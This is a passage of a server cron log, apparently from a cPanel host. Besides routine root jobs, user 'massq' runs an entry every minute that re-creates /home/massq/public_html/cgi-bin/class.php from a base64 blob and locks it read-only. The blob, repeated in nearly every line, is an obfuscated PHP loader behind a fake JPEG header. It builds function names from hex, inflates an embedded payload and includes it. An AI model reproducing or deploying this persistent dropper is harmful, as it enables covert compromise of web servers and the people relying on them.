ICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:16:01 server CROND[7822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:17:01 server CROND[7873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:18:01 server CROND[8026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:19:01 server CROND[8085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:20:01 server CROND[8139]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 07:20:01 server CROND[8138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:20:01 server CROND[8141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:20:01 server CROND[8140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:20:01 server CROND[8142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:21:01 server CROND[8249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:22:01 server CROND[8313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:23:01 server CROND[8418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:24:01 server CROND[8557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:25:01 server CROND[8608]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:25:01 server CROND[8609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:25:01 server CROND[8611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:26:01 server CROND[8713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:27:01 server CROND[8782]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 07:27:01 server CROND[8784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:28:01 server CROND[8842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:29:01 server CROND[8949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkp